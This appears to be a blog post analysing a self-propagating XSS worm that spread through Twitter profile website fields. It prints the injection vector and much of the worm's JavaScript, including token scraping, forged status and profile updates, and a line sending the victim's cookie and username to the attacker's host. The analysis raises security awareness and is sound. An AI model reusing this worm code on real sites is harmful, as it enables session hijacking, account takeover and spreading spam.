Twitter XSS Vulnerability

Twitter XSS

Over the weekend we saw the emergence of two similar XSS exploits on the popular social web application Twitter (with a third showing up early on Monday morning). In the hope of exposing some the tricks of the trade, I'd like to explore the exploit to help raise awareness for how XSS attacks like this can occur. I do not purport to be an expert in this field, merely someone who finds a basic understanding of security "a must" and javascript hacking kinda cool 😉

This weekend's XSS attack vector is fairly simple. Each twitter user has a profile displayed in the upper right hand corner of the page. That profile consists of a couple different fields provided by the user, namely description, website, and location. Each of the aforementioned fields provide a potential entry point for a vector (a small snippet of javascript), which will be viewed by anyone visiting your twitter page.

Todd's Twitter Profile

A vector alone won't create a self-propogating XSS worm. Next, we need to understand how the worm got around Twitter's security system. Yes, twitter has a sanity check on user input, albeit limited (no offense to the engineers behind twitter - most web apps don't cover this area very well). Most browsers support multiple encoding formats for different pieces of text such as URL encoding or base64 for "href" or "src" xml attributes or utf-7, utf-16, or ascii for xml text nodes (the range of accepted encodings is a little scary). Why do text encoding's matter? Since these attacks target browsers, any encoding accepted by a browser must be included in the security procedure. Simple regex checks for strings like "script" or "eval" won't cut it. In this case twitter wasn't properly sanitizing user input allowing url encoded strings to pass through. The exploit used the user website property to inject a snippet of javascript into the victim's twitter page, which loaded an external javascript file into the page from the attacker's domain.

Where does the worm part come in? How does this propagate? The trick is to realize that most users browsing around twitter are already logged in. If you can cause the user to request specific, known urls, you can update their information (like their list website :). So, the hacker injects the worm into his own profile manually, then sits back waiting for other users to visit his page. When a visitor does show up, they run the malicious javascript file, updating their own profile with the XSS injection starting the worm propagation.

Can I see a little code? Sure! Here's the initial vector being injected into the user's website field.

  1. http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a

For readability, I haven't urlencoded the string but it is essentially a link to stalk daily and an html script element pointing to "http://mikeyylolz.uuuq.com/x.js" (now removed). You can view the referenced javascript file here. Inside the file we find two support functions:

  • XHConn - Responsible for making XMLHttpRequests to the twitter REST services
  • urlencode - Which provides a modified URL Encoding scheme

In addition to the support functions, we can find the real action happening in the function called "wait". "wait" is responsible for constructing two separate XHR requests, one to post a status update and another to change the user's website url in their profile. Here it is in all its glory:

  1. var content = document.documentElement.innerHTML;
  2.  
  3. authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  4. var authtoken = authreg.exec(content);
  5. authtoken = authtoken[1];
  6. //alert(authtoken);
  7.  
  8. var randomUpdate=new Array();
  9. randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
  10. randomUpdate[1]="Join www.StalkDaily.com everyone!";
  11. randomUpdate[2]="Woooo, www.StalkDaily.com :)";
  12. randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
  13. randomUpdate[4]="Wow...www.StalkDaily.com";
  14. randomUpdate[5]="@twitter www.StalkDaily.com";
  15.  
  16. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  17.  
  18. updateEncode = urlencode(genRand);
  19.  
  20. var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
  21.  
  22. var ajaxConn = new XHConn();
  23. ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken
  24. +"&status="+updateEncode+"&tab=home&update=update");
  25. var ajaxConn1 = new XHConn();
  26. ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken
  27. +"&user[url]="+xss+"&tab=home&update=update");
  28.  

Not too intense. Actually, compared to most javascript code, this is downright readable. First, the user's auth token is regex'ed out of the current document. Then a random status update is selected from an array. Lastly, the two XHR requests are constructed and sent off with the urlencoded XSS payload and a status update pimping "stalkdaily.com".

In order to use Twitter's REST API, don't you need a username? Check out the snippet below:

  1. var content = document.documentElement.innerHTML;
  2. userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
  3. var username = userreg.exec(content);
  4. username = username[1];
  5.  
  6. var cookie;
  7. cookie = urlencode(document.cookie);
  8. document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie
  9. + "&username=" + username + "'>");
  10. document.write("<img src='http://stalkdaily.com/log.gif'>");

In this section, located outside of the previous functions, the attacker logs the user's cookie information and username. Twitter places the user's username into the metadata at the top of the page, hence the "meta content=..." regex. With that information, the attacker has the ability to execute requests at will against Twitter's REST API by mimicing the users's current session. **Note the attacker logged the information to his server, meaning he could use that information outside a browser environment whenever he wants (within the user's valid session).

Looking for the full worm? You can find it right here or check it out on github.

Did I miss something? or get it completely wrong!? Let me know. Hope this was helpful.

Cheers,
Todd

Todd Cullen

Todd Cullen is a founder at ReignDesign.

2 comments

  1. Looks like they monkey patched the initial problem but due to the media coverage you can be sure there will be plenty of other people trying it out. I wouldn’t be surprised if we saw another couple worms in the next month. Luckily the original worm author doesn’t appear to be malicious. That won’t always be the case.

Leave a Reply

Your email address will not be published. Required fields are marked *

Share this post